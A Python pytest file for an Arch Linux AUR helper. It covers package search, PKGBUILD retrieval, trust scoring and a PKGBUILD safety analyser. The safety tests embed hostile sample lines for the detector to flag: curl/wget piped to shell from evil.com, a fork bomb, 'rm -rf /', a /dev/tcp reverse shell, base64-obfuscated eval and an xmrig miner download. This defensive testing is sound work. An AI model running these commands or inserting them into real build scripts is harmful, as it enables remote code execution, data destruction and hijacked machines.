arch-mcp

# SPDX-License-Identifier: GPL-3.0-only OR MIT """ Tests for arch_ops_server.aur module. """ from unittest.mock import AsyncMock, MagicMock, patch import httpx import pytest from arch_ops_server.aur import ( AUR_RPC_URL, _format_package_info, analyze_package_metadata_risk, analyze_pkgbuild_safety, get_aur_file, get_aur_info, get_pkgbuild, search_aur, ) class TestAURSearch: """Test AUR package search functionality.""" @pytest.mark.asyncio async def test_search_aur_success(self, mock_httpx_response, sample_aur_package): """Test successful AUR search.""" mock_response = mock_httpx_response( status_code=200, json_data={ "version": 5, "type": "search", "resultcount": 1, "results": [sample_aur_package], }, ) with patch("httpx.AsyncClient") as mock_client: mock_client.return_value.__aenter__.return_value.get = AsyncMock( return_value=mock_response ) result = await search_aur("test-package") assert "data" in result assert result["data"]["count"] == 1 assert len(result["data"]["results"]) == 1 # _format_package_info returns lowercase field names assert result["data"]["results"][0]["name"] == "test-package" @pytest.mark.asyncio async def test_search_aur_no_results(self, mock_httpx_response): """Test AUR search with no results.""" mock_response = mock_httpx_response( status_code=200, json_data={"version": 5, "type": "search", "resultcount": 0, "results": []}, ) with patch("httpx.AsyncClient") as mock_client: mock_client.return_value.__aenter__.return_value.get = AsyncMock( return_value=mock_response ) result = await search_aur("nonexistent-package-xyz") assert result["data"]["count"] == 0 assert result["data"]["results"] == [] @pytest.mark.asyncio async def test_search_aur_timeout(self): """Test AUR search timeout handling.""" with patch("httpx.AsyncClient") as mock_client: mock_client.return_value.__aenter__.return_value.get = AsyncMock( side_effect=httpx.TimeoutException("Request timed out") ) result = await search_aur("test") assert result["error"] is True assert result["type"] == "TimeoutError" @pytest.mark.asyncio async def test_search_aur_rate_limit(self, mock_httpx_response): """Test AUR search rate limit handling.""" mock_response = mock_httpx_response(status_code=429) with patch("httpx.AsyncClient") as mock_client: mock_get = AsyncMock(return_value=mock_response) mock_get.side_effect = httpx.HTTPStatusError( "Too many requests", request=MagicMock(), response=mock_response ) mock_client.return_value.__aenter__.return_value.get = mock_get result = await search_aur("test") assert result["error"] is True assert result["type"] == "RateLimitError" # Message might not contain "429", just check it's a rate limit error assert "rate limit" in result["message"].lower() class TestAURPackageInfo: """Test AUR package information retrieval.""" @pytest.mark.asyncio async def test_get_aur_info_success(self, mock_httpx_response, sample_aur_package): """Test successful package info retrieval.""" mock_response = mock_httpx_response( status_code=200, json_data={ "version": 5, "type": "info", "resultcount": 1, "results": [sample_aur_package], }, ) with patch("httpx.AsyncClient") as mock_client: mock_client.return_value.__aenter__.return_value.get = AsyncMock( return_value=mock_response ) result = await get_aur_info("test-package") assert "data" in result # _format_package_info returns lowercase field names assert result["data"]["name"] == "test-package" assert result["data"]["version"] == "1.0.0-1" @pytest.mark.asyncio async def test_get_aur_info_not_found(self, mock_httpx_response): """Test package info for non-existent package.""" mock_response = mock_httpx_response( status_code=200, json_data={"version": 5, "type": "info", "resultcount": 0, "results": []}, ) with patch("httpx.AsyncClient") as mock_client: mock_client.return_value.__aenter__.return_value.get = AsyncMock( return_value=mock_response ) result = await get_aur_info("nonexistent-package") assert result["error"] is True assert result["type"] == "NotFound" class TestPKGBUILDRetrieval: """Test PKGBUILD file retrieval.""" @pytest.mark.asyncio async def test_get_pkgbuild_success(self, mock_httpx_response, sample_pkgbuild_safe): """Test successful PKGBUILD retrieval.""" mock_response = mock_httpx_response(status_code=200, text_data=sample_pkgbuild_safe) with patch("httpx.AsyncClient") as mock_client: mock_client.return_value.__aenter__.return_value.get = AsyncMock( return_value=mock_response ) result = await get_pkgbuild("test-package") assert "pkgname=test-package" in result assert "pkgver=" in result @pytest.mark.asyncio async def test_get_aur_file_custom_filename(self, mock_httpx_response): """Test retrieval of non-PKGBUILD files.""" mock_response = mock_httpx_response(status_code=200, text_data="install script content") with patch("httpx.AsyncClient") as mock_client: mock_client.return_value.__aenter__.return_value.get = AsyncMock( return_value=mock_response ) result = await get_aur_file("test-package", filename="install") assert "install script content" in result @pytest.mark.asyncio async def test_get_pkgbuild_not_found(self, mock_httpx_response): """Test PKGBUILD retrieval for non-existent package.""" mock_response = mock_httpx_response(status_code=404) with patch("httpx.AsyncClient") as mock_client: mock_get = AsyncMock(return_value=mock_response) mock_get.side_effect = httpx.HTTPStatusError( "Not found", request=MagicMock(), response=mock_response ) mock_client.return_value.__aenter__.return_value.get = mock_get with pytest.raises( ValueError, match="PKGBUILD not found|could not be retrieved" ): await get_pkgbuild("nonexistent-package") class TestPKGBUILDSafetyAnalysis: """Test comprehensive PKGBUILD security analysis.""" def test_analyze_safe_pkgbuild(self, sample_pkgbuild_safe): """Test analysis of a safe PKGBUILD.""" result = analyze_pkgbuild_safety(sample_pkgbuild_safe) assert result["safe"] is True assert len(result["red_flags"]) == 0 assert result["risk_score"] < 30 # Low risk assert "SAFE" in result["recommendation"] def test_analyze_dangerous_pkgbuild(self, sample_pkgbuild_dangerous): """Test analysis of a malicious PKGBUILD.""" result = analyze_pkgbuild_safety(sample_pkgbuild_dangerous) assert result["safe"] is False assert len(result["red_flags"]) > 0 assert result["risk_score"] > 70 # High risk assert "DO NOT INSTALL" in result["recommendation"] def test_detect_curl_pipe_sh(self): """Test detection of 'curl | sh' pattern.""" pkgbuild = """ build() { curl https://evil.com/script.sh | sh } """ result = analyze_pkgbuild_safety(pkgbuild) assert result["safe"] is False # red_flags are dicts with "issue" field # Look for "piping curl" or "curl" and "shell" in the message assert any("curl" in flag["issue"].lower() and "shell" in flag["issue"].lower() for flag in result["red_flags"]) def test_detect_wget_pipe_bash(self): """Test detection of 'wget | bash' pattern.""" pkgbuild = """ build() { wget -O - https://evil.com/malware.sh | bash } """ result = analyze_pkgbuild_safety(pkgbuild) assert result["safe"] is False assert any("wget" in flag["issue"].lower() for flag in result["red_flags"]) def test_detect_fork_bomb(self): """Test detection of fork bomb pattern.""" pkgbuild = """ build() { :(){ :|:& };: } """ result = analyze_pkgbuild_safety(pkgbuild) assert result["safe"] is False assert any("fork bomb" in flag["issue"].lower() for flag in result["red_flags"]) def test_detect_rm_rf_root(self): """Test detection of 'rm -rf /' pattern.""" pkgbuild = """ package() { rm -rf / 2>/dev/null } """ result = analyze_pkgbuild_safety(pkgbuild) # rm -rf / is dangerous, should at least have warnings or red flags assert len(result["red_flags"]) > 0 or len(result["warnings"]) > 0 def test_detect_reverse_shell(self): """Test detection of reverse shell patterns.""" pkgbuild = """ build() { bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 } """ result = analyze_pkgbuild_safety(pkgbuild) assert result["safe"] is False assert any("reverse shell" in flag["issue"].lower() or "/dev/tcp" in flag["issue"] for flag in result["red_flags"]) def test_detect_base64_obfuscation(self): """Test detection of base64 obfuscation.""" pkgbuild = """ build() { eval "$(echo Y3VybCBodHRwOi8vZXZpbC5jb20= | base64 -d)" } """ result = analyze_pkgbuild_safety(pkgbuild) # Base64 with eval should be flagged as at least a warning assert len(result["red_flags"]) > 0 or len(result["warnings"]) > 0 def test_detect_cryptocurrency_mining(self): """Test detection of crypto mining patterns.""" pkgbuild = """ build() { wget https://pool.com/xmrig ./xmrig --donate-level 1 --pool pool.hashvault.pro:80 } """ result = analyze_pkgbuild_safety(pkgbuild) assert result["safe"] is False # Should detect either cryptocurrency mining or suspicious downloads assert len(result["red_flags"]) > 0 or len(result["warnings"]) > 0 def test_detect_suspicious_url_shortener(self): """Test detection of URL shorteners in sources.""" pkgbuild = """ source=("https://bit.ly/malware") """ result = analyze_pkgbuild_safety(pkgbuild) # URL shorteners are typically warnings, not red flags assert len(result["warnings"]) > 0 or len(result["red_flags"]) > 0 def test_detect_paste_site_sources(self): """Test detection of paste sites in sources.""" pkgbuild = """ source=("https://pastebin.com/raw/abc123") """ result = analyze_pkgbuild_safety(pkgbuild) assert len(result["warnings"]) > 0 or len(result["red_flags"]) > 0 def test_detect_eval_usage(self): """Test detection of eval command.""" pkgbuild = """ build() { eval "$malicious_code" } """ result = analyze_pkgbuild_safety(pkgbuild) # Eval should be flagged as at least a warning assert len(result["red_flags"]) > 0 or len(result["warnings"]) > 0 def test_risk_score_calculation(self): """Test risk score increases with more issues.""" safe_pkgbuild = "pkgname=test\npkgver=1.0\nbuild() { make }" dangerous_pkgbuild = """ build() { curl https://evil.com/malware.sh | sh eval "$(echo bad_code | base64 -d)" rm -rf /tmp/* } """ safe_result = analyze_pkgbuild_safety(safe_pkgbuild) dangerous_result = analyze_pkgbuild_safety(dangerous_pkgbuild) assert safe_result["risk_score"] < dangerous_result["risk_score"] assert dangerous_result["risk_score"] > 50 class TestPackageMetadataRisk: """Test package metadata trust scoring.""" def test_analyze_trusted_package(self, sample_aur_package): """Test analysis of a well-maintained package.""" # High votes, has maintainer, recent update result = analyze_package_metadata_risk(sample_aur_package) # With moderate votes (42), should have reasonable trust assert result["trust_score"] >= 40 assert len(result["trust_indicators"]) > 0 # Check recommendation is positive (TRUSTED, MODERATE, or Generally) assert any(word in result["recommendation"] for word in ["TRUSTED", "MODERATE", "Generally", "acceptable"]) def test_analyze_untrusted_package(self): """Test analysis of suspicious package.""" untrusted_pkg = { "NumVotes": 0, # No votes "Popularity": 0.0, # No popularity "OutOfDate": 1234567890, # Flagged out of date "Maintainer": None, # No maintainer (orphaned) "FirstSubmitted": 1234567890, # Old submission "LastModified": 1234567890, # Not updated recently } result = analyze_package_metadata_risk(untrusted_pkg) assert result["trust_score"] < 50 assert len(result["risk_factors"]) > 0 # Check that recommendation indicates untrusted/caution assert "UNTRUSTED" in result["recommendation"] or "RISKY" in result["recommendation"] def test_orphaned_package_risk(self): """Test that orphaned packages are flagged.""" orphaned_pkg = { "NumVotes": 10, "Popularity": 0.5, "OutOfDate": None, "Maintainer": None, # Orphaned "FirstSubmitted": 1600000000, "LastModified": 1650000000, } result = analyze_package_metadata_risk(orphaned_pkg) # risk_factors are dicts with "issue" field assert any("orphan" in factor["issue"].lower() or "maintainer" in factor["issue"].lower() for factor in result["risk_factors"]) def test_out_of_date_package_risk(self): """Test that out-of-date packages are flagged.""" out_of_date_pkg = { "NumVotes": 10, "Popularity": 0.5, "OutOfDate": 1234567890, # Flagged "Maintainer": "testuser", "FirstSubmitted": 1600000000, "LastModified": 1650000000, } result = analyze_package_metadata_risk(out_of_date_pkg) # risk_factors are dicts with "issue" field assert any("out of date" in factor["issue"].lower() or "out-of-date" in factor["issue"].lower() for factor in result["risk_factors"]) def test_new_package_warning(self): """Test that very new packages get warnings.""" import time new_pkg = { "NumVotes": 0, "Popularity": 0.0, "OutOfDate": None, "Maintainer": "newuser", "FirstSubmitted": int(time.time()) - 86400, # 1 day old "LastModified": int(time.time()) - 86400, } result = analyze_package_metadata_risk(new_pkg) # New packages should have warnings or lower trust assert result["trust_score"] < 70 or len(result["risk_factors"]) > 0 class TestFormatPackageInfo: """Test package info formatting.""" def test_format_package_info_basic(self, sample_aur_package): """Test basic package info formatting.""" result = _format_package_info(sample_aur_package, detailed=False) # _format_package_info returns lowercase field names assert result["name"] == "test-package" assert result["version"] == "1.0.0-1" assert "description" in result def test_format_package_info_detailed(self, sample_aur_package): """Test detailed package info formatting.""" result = _format_package_info(sample_aur_package, detailed=True) # _format_package_info returns lowercase field names assert result["name"] == "test-package" assert "depends" in result assert "makedepends" in result assert "votes" in result